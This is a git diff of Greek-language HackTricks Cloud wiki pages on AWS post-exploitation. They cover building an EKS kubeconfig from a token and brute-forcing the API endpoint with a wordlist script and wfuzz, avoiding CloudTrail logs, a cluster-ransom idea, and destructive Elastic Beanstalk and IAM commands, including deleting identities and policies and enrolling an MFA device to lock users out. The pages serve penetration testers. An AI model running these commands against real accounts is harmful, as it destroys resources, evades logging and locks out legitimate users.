Σύνδεση στο AWS Kubernetes Cluster + +- Εύκολος τρόπος: +```bash +# Generate kubeconfig +aws eks update-kubeconfig --name aws-eks-dev +``` +- Όχι τόσο εύκολος τρόπος: + +Αν μπορείτε να **λάβετε ένα token** με **`aws eks get-token --name `** αλλά δεν έχετε δικαιώματα για να πάρετε πληροφορίες του cluster (describeCluster), μπορείτε να **ετοιμάσετε το δικό σας `~/.kube/config`**. Ωστόσο, έχοντας το token, χρειάζεστε ακόμα το **url endpoint για να συνδεθείτε** (αν καταφέρατε να πάρετε ένα JWT token από ένα pod διαβάστε [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) και το **όνομα του cluster**. + +Στην περίπτωσή μου, δεν βρήκα την πληροφορία στα CloudWatch logs, αλλά **την βρήκα στα LaunchTemaplates userData** και επίσης σε **EC2 machines στο userData**. Μπορείτε να δείτε αυτή την πληροφορία στο **userData** εύκολα, για παράδειγμα στο επόμενο παράδειγμα (το όνομα του cluster ήταν cluster-name): +```bash +API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com + +/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false +``` +
+ +kube config +```yaml +describe-cache-parametersapiVersion: v1 +clusters: +- cluster: +certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== +server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com +name: arn:aws:eks:us-east-1::cluster/ +contexts: +- context: +cluster: arn:aws:eks:us-east-1::cluster/ +user: arn:aws:eks:us-east-1::cluster/ +name: arn:aws:eks:us-east-1::cluster/ +current-context: arn:aws:eks:us-east-1::cluster/ +kind: Config +preferences: {} +users: +- name: arn:aws:eks:us-east-1::cluster/ +user: +exec: +apiVersion: client.authentication.k8s.io/v1beta1 +args: +- --region +- us-west-2 +- --profile +- +- eks +- get-token +- --cluster-name +- +command: aws +env: null +interactiveMode: IfAvailable +provideClusterInfo: false +``` +
+ +### Από AWS σε Kubernetes + +Ο **δημιουργός** του **EKS cluster** είναι **ΠΑΝΤΑ** σε θέση να εισέλθει στο kubernetes μέρος του cluster ως μέλος της ομάδας **`system:masters`** (k8s admin). Τη στιγμή που γράφεται αυτό, **δεν υπάρχει άμεσος τρόπος** να βρεις **ποιος δημιούργησε** το cluster (μπορείς να ελέγξεις CloudTrail). Και **δεν υπάρχει τρόπος** να **αφαιρέσεις** αυτό το **προνόμιο**. + +Ο τρόπος να παραχωρήσεις **πρόσβαση πάνω στο K8s σε περισσότερους AWS IAM users ή roles** είναι μέσω του **configmap** **`aws-auth`**. + +> [!WARNING] +> Επομένως, οποιοσδήποτε με **write access** πάνω στο config map **`aws-auth`** θα μπορέσει να **compromise the whole cluster**. + +Για περισσότερες πληροφορίες σχετικά με το πώς να **grant extra privileges to IAM roles & users** στον **same or different account** και πώς να **abuse** αυτό, δες [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps). + +Δες επίσης [ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**. + +### Από Kubernetes σε AWS + +Είναι δυνατό να επιτραπεί **OpenID authentication for kubernetes service account** ώστε να μπορούν να assume roles στο AWS. Μάθε πώς [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). + +### Λήψη Api Server Endpoint από ένα JWT Token + +Αποκωδικοποιώντας το JWT token παίρνουμε το cluster id και επίσης την περιοχή. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Γνωρίζοντας ότι το τυπικό format για το EKS url είναι +```bash +https://...eks.amazonaws.com +``` +Δεν βρήκα καμία τεκμηρίωση που να εξηγεί τα κριτήρια για τα 'two chars' και τον 'number'. Αλλά κάνοντας μερικά tests από την πλευρά μου βλέπω να επαναλαμβάνονται τα εξής: + +- gr7 +- yl4 + +Σε κάθε περίπτωση είναι μόνο 3 chars οπότε μπορούμε να τα bruteforce. Χρησιμοποίησε το παρακάτω script για να δημιουργήσεις τη λίστα +```python +from itertools import product +from string import ascii_lowercase + +letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) +number_combinations = product('0123456789', repeat = 1) + +result = [ +f'{''.join(comb[0])}{comb[1][0]}' +for comb in product(letter_combinations, number_combinations) +] + +with open('out.txt', 'w') as f: +f.write('\n'.join(result)) +``` +Στη συνέχεια με wfuzz +```bash +wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com +``` +> [!WARNING] +> Θυμηθείτε να αντικαταστήσετε & . + +### Παράκαμψη CloudTrail + +Αν ένας attacker αποκτήσει διαπιστευτήρια ενός AWS με **άδεια πάνω σε ένα EKS**. Αν ο attacker ρυθμίσει το δικό του **`kubeconfig`** (χωρίς να καλέσει το **`update-kubeconfig`**) όπως εξηγήθηκε προηγουμένως, το **`get-token`** δεν δημιουργεί logs στο Cloudtrail επειδή δεν αλληλεπιδρά με το AWS API (απλώς δημιουργεί το token τοπικά). + +Έτσι, όταν ο attacker επικοινωνεί με το EKS cluster, **το cloudtrail δεν θα καταγράψει τίποτα που να σχετίζεται με το κλεμμένο user και την πρόσβασή του**. + +Σημειώστε ότι το **EKS cluster μπορεί να έχει ενεργοποιημένα logs** που θα καταγράψουν αυτήν την πρόσβαση (αν και, από προεπιλογή, είναι απενεργοποιημένα). + +### EKS Λύτρα? + +Από προεπιλογή, ο **user ή role που δημιούργησε** ένα cluster θα έχει **ΠΑΝΤΑ δικαιώματα admin** πάνω στο cluster. Και αυτή είναι η μόνη «ασφαλής» πρόσβαση που θα έχει το AWS στο Kubernetes cluster. + +Έτσι, αν ένας attacker παραβιάσει ένα cluster χρησιμοποιώντας fargate και **αφαιρέσει όλους τους άλλους admins** και **διαγράψει τον AWS user/role που δημιούργησε** το Cluster, ~~the attacker could have **ransomed the cluste**~~**r**. + +> [!TIP] +> Σημειώστε ότι αν το cluster χρησιμοποιούσε **EC2 VMs**, μπορεί να είναι δυνατό να αποκτήσετε δικαιώματα Admin από τον **Node** και να ανακτήσετε το cluster. +> +> Στην πραγματικότητα, αν το cluster χρησιμοποιεί Fargate, μπορείτε να δημιουργήσετε EC2 nodes ή να μεταφέρετε τα πάντα σε EC2 στο cluster και να το ανακτήσετε αποκτώντας πρόσβαση στα tokens στον node. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md deleted file mode 100644 index 22fa5c4ab..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ /dev/null @@ -1,70 +0,0 @@ -# AWS - Elastic Beanstalk Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Elastic Beanstalk - -Για περισσότερες πληροφορίες: - -{{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md -{{#endref}} - -### `elasticbeanstalk:DeleteApplicationVersion` - -> [!NOTE] -> TODO: Δοκιμάστε αν απαιτούνται περισσότερες άδειες για αυτό - -Ένας επιτιθέμενος με την άδεια `elasticbeanstalk:DeleteApplicationVersion` μπορεί να **διαγράψει μια υπάρχουσα έκδοση εφαρμογής**. Αυτή η ενέργεια θα μπορούσε να διαταράξει τις διαδικασίες ανάπτυξης εφαρμογών ή να προκαλέσει απώλεια συγκεκριμένων εκδόσεων εφαρμογών αν δεν έχουν δημιουργηθεί αντίγραφα ασφαλείας. -```bash -aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version -``` -**Πιθανές Επιπτώσεις**: Διακοπή της ανάπτυξης εφαρμογών και πιθανή απώλεια εκδόσεων εφαρμογών. - -### `elasticbeanstalk:TerminateEnvironment` - -> [!NOTE] -> TODO: Δοκιμάστε αν απαιτούνται περισσότερες άδειες για αυτό - -Ένας επιτιθέμενος με την άδεια `elasticbeanstalk:TerminateEnvironment` μπορεί να **τερματίσει ένα υπάρχον περιβάλλον Elastic Beanstalk**, προκαλώντας διακοπή λειτουργίας της εφαρμογής και πιθανή απώλεια δεδομένων αν το περιβάλλον δεν είναι ρυθμισμένο για αντίγραφα ασφαλείας. -```bash -aws elasticbeanstalk terminate-environment --environment-name my-existing-env -``` -**Πιθανές Επιπτώσεις**: Χρόνος διακοπής της εφαρμογής, πιθανή απώλεια δεδομένων και διακοπή υπηρεσιών. - -### `elasticbeanstalk:DeleteApplication` - -> [!NOTE] -> TODO: Δοκιμάστε αν απαιτούνται περισσότερες άδειες για αυτό - -Ένας επιτιθέμενος με την άδεια `elasticbeanstalk:DeleteApplication` μπορεί να **διαγράψει ολόκληρη την εφαρμογή Elastic Beanstalk**, συμπεριλαμβανομένων όλων των εκδόσεών της και των περιβαλλόντων της. Αυτή η ενέργεια θα μπορούσε να προκαλέσει σημαντική απώλεια πόρων και ρυθμίσεων της εφαρμογής αν δεν έχουν γίνει αντίγραφα ασφαλείας. -```bash -aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force -``` -**Πιθανές Επιπτώσεις**: Απώλεια πόρων εφαρμογής, ρυθμίσεων, περιβαλλόντων και εκδόσεων εφαρμογής, οδηγώντας σε διακοπή υπηρεσίας και πιθανή απώλεια δεδομένων. - -### `elasticbeanstalk:SwapEnvironmentCNAMEs` - -> [!NOTE] -> TODO: Δοκιμάστε αν απαιτούνται περισσότερες άδειες για αυτό - -Ένας επιτιθέμενος με την άδεια `elasticbeanstalk:SwapEnvironmentCNAMEs` μπορεί να **ανταλλάξει τα CNAME records δύο περιβαλλόντων Elastic Beanstalk**, γεγονός που μπορεί να προκαλέσει την παροχή της λάθος έκδοσης της εφαρμογής στους χρήστες ή να οδηγήσει σε απρόβλεπτη συμπεριφορά. -```bash -aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 -``` -**Πιθανές Επιπτώσεις**: Παροχή της λάθος έκδοσης της εφαρμογής στους χρήστες ή πρόκληση μη αναμενόμενης συμπεριφοράς στην εφαρμογή λόγω εναλλαγής περιβαλλόντων. - -### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` - -> [!NOTE] -> TODO: Δοκιμάστε αν απαιτούνται περισσότερες άδειες για αυτό - -Ένας επιτιθέμενος με τις άδειες `elasticbeanstalk:AddTags` και `elasticbeanstalk:RemoveTags` μπορεί να **προσθέσει ή να αφαιρέσει ετικέτες σε πόρους Elastic Beanstalk**. Αυτή η ενέργεια θα μπορούσε να οδηγήσει σε λανθασμένη κατανομή πόρων, χρέωση ή διαχείριση πόρων. -```bash -aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 - -aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag -``` -**Πιθανές Επιπτώσεις**: Λανθασμένη κατανομή πόρων, χρέωση ή διαχείριση πόρων λόγω προστιθέμενων ή αφαιρεθέντων ετικετών. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md new file mode 100644 index 000000000..3edebdeb0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md @@ -0,0 +1,70 @@ +# AWS - Elastic Beanstalk Μετά-Εκμετάλλευση + +{{#include ../../../../banners/hacktricks-training.md}} + +## Elastic Beanstalk + +Για περισσότερες πληροφορίες: + +{{#ref}} +../../aws-services/aws-elastic-beanstalk-enum.md +{{#endref}} + +### `elasticbeanstalk:DeleteApplicationVersion` + +> [!NOTE] +> TODO: Ελέγξτε αν απαιτούνται περισσότερα permissions για αυτό + +Ένας επιτιθέμενος με το permission `elasticbeanstalk:DeleteApplicationVersion` μπορεί να **διαγράψει μια υπάρχουσα έκδοση εφαρμογής**. Αυτή η ενέργεια μπορεί να διαταράξει τα pipelines ανάπτυξης της εφαρμογής ή να προκαλέσει απώλεια συγκεκριμένων εκδόσεων εφαρμογής εάν δεν υπάρχουν αντίγραφα ασφαλείας. +```bash +aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version +``` +**Πιθανός Αντίκτυπος**: Διατάραξη της ανάπτυξης της εφαρμογής και πιθανή απώλεια εκδόσεων της εφαρμογής. + +### `elasticbeanstalk:TerminateEnvironment` + +> [!NOTE] +> TODO: Ελέγξτε αν απαιτούνται περισσότερα δικαιώματα για αυτό + +Ένας επιτιθέμενος με την άδεια `elasticbeanstalk:TerminateEnvironment` μπορεί να **τερματίσει ένα υπάρχον περιβάλλον Elastic Beanstalk**, προκαλώντας διακοπή λειτουργίας για την εφαρμογή και πιθανή απώλεια δεδομένων εάν το περιβάλλον δεν έχει ρυθμιστεί για αντίγραφα ασφαλείας. +```bash +aws elasticbeanstalk terminate-environment --environment-name my-existing-env +``` +**Potential Impact**: Διακοπή λειτουργίας της εφαρμογής, πιθανή απώλεια δεδομένων και διατάραξη υπηρεσιών. + +### `elasticbeanstalk:DeleteApplication` + +> [!NOTE] +> TODO: Ελέγξτε αν απαιτούνται περισσότερα δικαιώματα για αυτό + +Ένας επιτιθέμενος με το δικαίωμα `elasticbeanstalk:DeleteApplication` μπορεί να **διαγράψει ολόκληρη εφαρμογή Elastic Beanstalk**, συμπεριλαμβανομένων όλων των εκδόσεων και των περιβαλλόντων της. Αυτή η ενέργεια θα μπορούσε να προκαλέσει σημαντική απώλεια πόρων και ρυθμίσεων της εφαρμογής εάν δεν έχουν δημιουργηθεί αντίγραφα ασφαλείας. +```bash +aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force +``` +**Πιθανός Αντίκτυπος**: Απώλεια πόρων της εφαρμογής, ρυθμίσεων, περιβαλλόντων και εκδόσεων της εφαρμογής, οδηγώντας σε διακοπή υπηρεσίας και πιθανή απώλεια δεδομένων. + +### `elasticbeanstalk:SwapEnvironmentCNAMEs` + +> [!NOTE] +> TODO: Ελέγξτε εάν απαιτούνται περισσότερα δικαιώματα για αυτό + +Ένας επιτιθέμενος με το δικαίωμα `elasticbeanstalk:SwapEnvironmentCNAMEs` μπορεί να **ανταλλάξει τα CNAME records δύο περιβαλλόντων Elastic Beanstalk**, κάτι που μπορεί να προκαλέσει να σερβίρεται στους χρήστες λανθασμένη έκδοση της εφαρμογής ή να οδηγήσει σε μη αναμενόμενη συμπεριφορά. +```bash +aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 +``` +**Πιθανός Αντίκτυπος**: Εξυπηρέτηση λανθασμένης έκδοσης της εφαρμογής στους χρήστες ή πρόκληση ανεπιθύμητης συμπεριφοράς στην εφαρμογή λόγω ανταλλαγής περιβαλλόντων. + +### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` + +> [!NOTE] +> TODO: Ελέγξτε αν απαιτούνται περισσότερα δικαιώματα για αυτό + +Ένας επιτιθέμενος με τα δικαιώματα `elasticbeanstalk:AddTags` και `elasticbeanstalk:RemoveTags` μπορεί να **προσθέσει ή να αφαιρέσει tags από πόρους του Elastic Beanstalk**. Αυτή η ενέργεια θα μπορούσε να οδηγήσει σε λανθασμένη κατανομή πόρων, χρεώσεις ή προβλήματα στη διαχείριση πόρων. +```bash +aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 + +aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag +``` +**Πιθανός αντίκτυπος**: Εσφαλμένη κατανομή πόρων, τιμολόγηση ή διαχείριση πόρων λόγω προσθήκης ή αφαίρεσης tags. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md deleted file mode 100644 index 3c96fdd65..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ /dev/null @@ -1,166 +0,0 @@ -# AWS - IAM Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## IAM - -Για περισσότερες πληροφορίες σχετικά με την πρόσβαση στο IAM: - -{{#ref}} -../aws-services/aws-iam-enum.md -{{#endref}} - -## Confused Deputy Problem - -If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**. - -Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**. - -
- -However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**. - -Παράδειγμα: -```json -{ -"Version": "2012-10-17", -"Statement": { -"Effect": "Allow", -"Principal": { -"AWS": "Example Corp's AWS Account ID" -}, -"Action": "sts:AssumeRole", -"Condition": { -"StringEquals": { -"sts:ExternalId": "12345" -} -} -} -} -``` -> [!WARNING] -> Για να εκμεταλλευτεί ένας attacker έναν confused deputy θα χρειαστεί να βρει με κάποιον τρόπο αν principals του current account μπορούν να impersonate roles σε other accounts. - -### Απρόσμενες Εμπιστοσύνες - -#### Wildcard ως principal -```json -{ -"Action": "sts:AssumeRole", -"Effect": "Allow", -"Principal": { "AWS": "*" } -} -``` -Αυτή η πολιτική **επιτρέπει σε όλα τα AWS** να αναλάβουν τον ρόλο. - -#### Υπηρεσία ως principal -```json -{ -"Action": "lambda:InvokeFunction", -"Effect": "Allow", -"Principal": { "Service": "apigateway.amazonaws.com" }, -"Resource": "arn:aws:lambda:000000000000:function:foo" -} -``` -Αυτή η πολιτική **επιτρέπει σε οποιονδήποτε λογαριασμό** να διαμορφώσει το apigateway του για να καλέσει αυτό το Lambda. - -#### S3 ως principal -```json -"Condition": { -"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, -"StringEquals": { -"aws:SourceAccount": "123456789012" -} -} -``` -If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **διαγράψατε το bucket και ο attacker δημιούργησε** αυτό σε δικό τους account, τότε θα μπορούσαν να το εκμεταλλευτούν. - -#### Δεν υποστηρίζεται -```json -{ -"Effect": "Allow", -"Principal": { "Service": "cloudtrail.amazonaws.com" }, -"Action": "s3:PutObject", -"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" -} -``` -Ένας συνηθισμένος τρόπος για να αποφευχθούν προβλήματα Confused Deputy είναι η χρήση μιας συνθήκης με `AWS:SourceArn` για τον έλεγχο του origin ARN. Ωστόσο, **κάποιες υπηρεσίες ενδέχεται να μην το υποστηρίζουν** (όπως το CloudTrail σύμφωνα με ορισμένες πηγές). - -### Διαγραφή διαπιστευτηρίων -Με οποιοδήποτε από τα ακόλουθα permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — ένας actor μπορεί να αφαιρέσει access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates ή CloudFront public keys, ή να αποσυνδέσει roles από instance profiles. Τέτοιες ενέργειες μπορούν άμεσα να αποκλείσουν νόμιμους χρήστες και εφαρμογές και να προκαλέσουν denial-of-service ή απώλεια πρόσβασης για συστήματα που εξαρτώνται από αυτά τα διαπιστευτήρια, οπότε αυτά τα IAM permissions πρέπει να περιορίζονται αυστηρά και να παρακολουθούνται. -```bash -# Remove Access Key of a user -aws iam delete-access-key \ ---user-name \ ---access-key-id AKIAIOSFODNN7EXAMPLE - -## Remove ssh key of a user -aws iam delete-ssh-public-key \ ---user-name \ ---ssh-public-key-id APKAEIBAERJR2EXAMPLE -``` -### Διαγραφή Ταυτότητας -Με δικαιώματα όπως `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` ή `iam:RemoveUserFromGroup`, ένας φορέας μπορεί να διαγράψει χρήστες, ρόλους ή ομάδες — ή να αλλάξει τη συμμετοχή σε ομάδα — αφαιρώντας ταυτότητες και σχετικές ενδείξεις. Αυτό μπορεί να διακόψει άμεσα την πρόσβαση για άτομα και υπηρεσίες που εξαρτώνται από αυτές τις ταυτότητες, προκαλώντας denial-of-service ή απώλεια πρόσβασης, γι' αυτό αυτές οι ενέργειες IAM πρέπει να περιορίζονται αυστηρά και να παρακολουθούνται. -```bash -# Delete a user -aws iam delete-user \ ---user-name - -# Delete a group -aws iam delete-group \ ---group-name - -# Delete a role -aws iam delete-role \ ---role-name -``` -### -Με οποιαδήποτε από τις παρακάτω άδειες — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — ένας παράγοντας μπορεί να διαγράψει ή να αποσυνδέσει διαχειριζόμενες/ενσωματωμένες πολιτικές, να αφαιρέσει εκδόσεις πολιτικής ή όρια δικαιωμάτων, και να αποσυνδέσει πολιτικές από χρήστες, ομάδες ή ρόλους. Αυτό καταστρέφει εξουσιοδοτήσεις και μπορεί να αλλάξει το μοντέλο δικαιωμάτων, προκαλώντας άμεση απώλεια πρόσβασης ή άρνηση υπηρεσίας για οντότητες που εξαρτώνταν από αυτές τις πολιτικές, γι' αυτό αυτές οι ενέργειες IAM πρέπει να είναι αυστηρά περιορισμένες και να παρακολουθούνται. -```bash -# Delete a group policy -aws iam delete-group-policy \ ---group-name \ ---policy-name - -# Delete a role policy -aws iam delete-role-policy \ ---role-name \ ---policy-name -``` -### Διαγραφή Ομοσπονδιακής Ταυτότητας -Με `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, και `iam:RemoveClientIDFromOpenIDConnectProvider`, ένας δράστης μπορεί να διαγράψει παρόχους ταυτότητας OIDC/SAML ή να αφαιρέσει client IDs. Αυτό διακόπτει την ομοσπονδιακή αυθεντικοποίηση, αποτρέποντας την επικύρωση των tokens και αρνώντας άμεσα την πρόσβαση σε χρήστες και υπηρεσίες που βασίζονται σε SSO μέχρι να αποκατασταθεί ο IdP ή να αποκατασταθούν οι ρυθμίσεις. -```bash -# Delete OIDCP provider -aws iam delete-open-id-connect-provider \ ---open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com - -# Delete SAML provider -aws iam delete-saml-provider \ ---saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS -``` -### Illegitimate MFA Activation -Με το `iam:EnableMFADevice`, ένας δράστης μπορεί να καταχωρήσει μια συσκευή MFA στην ταυτότητα ενός χρήστη, αποτρέποντας τον νόμιμο χρήστη από το να συνδεθεί. Μόλις ενεργοποιηθεί μια μη εξουσιοδοτημένη συσκευή MFA, ο χρήστης μπορεί να αποκλειστεί μέχρι να αφαιρεθεί ή να επαναρυθμιστεί η συσκευή (σημείωση: αν έχουν καταχωρηθεί πολλαπλές συσκευές MFA, η σύνδεση απαιτεί μόνο μία, οπότε αυτή η επίθεση δεν θα έχει αποτέλεσμα στην άρνηση πρόσβασης). -```bash -aws iam enable-mfa-device \ ---user-name \ ---serial-number arn:aws:iam::111122223333:mfa/alice \ ---authentication-code1 123456 \ ---authentication-code2 789012 -``` -### Παραποίηση μεταδεδομένων πιστοποιητικών/κλειδιών -Με τις `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, ένας επιτιθέμενος μπορεί να αλλάξει την κατάσταση ή τα μεταδεδομένα δημόσιων κλειδιών και πιστοποιητικών. Επισημαίνοντας κλειδιά/πιστοποιητικά ως ανενεργά ή τροποποιώντας αναφορές, μπορεί να διακόψει τον έλεγχο ταυτότητας SSH, να ακυρώσει τις επικυρώσεις X.509/TLS και να διαταράξει άμεσα υπηρεσίες που εξαρτώνται από αυτά τα διαπιστευτήρια, προκαλώντας απώλεια πρόσβασης ή διαθεσιμότητας. -```bash -aws iam update-ssh-public-key \ ---user-name \ ---ssh-public-key-id APKAEIBAERJR2EXAMPLE \ ---status Inactive - -aws iam update-server-certificate \ ---server-certificate-name \ ---new-path /prod/ -``` -## Αναφορές - -- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md new file mode 100644 index 000000000..1b2f91c98 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md @@ -0,0 +1,166 @@ +# AWS - IAM Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +Για περισσότερες πληροφορίες σχετικά με την πρόσβαση IAM: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +## Πρόβλημα Confused Deputy + +Αν **επιτρέψετε σε έναν εξωτερικό λογαριασμό (A)** να έχει πρόσβαση σε ένα **role** στον λογαριασμό σας, πιθανόν να έχετε **0 ορατότητα** στο **ποιος ακριβώς μπορεί να έχει πρόσβαση σε αυτόν τον εξωτερικό λογαριασμό**. Αυτό είναι πρόβλημα, γιατί αν ένας άλλος 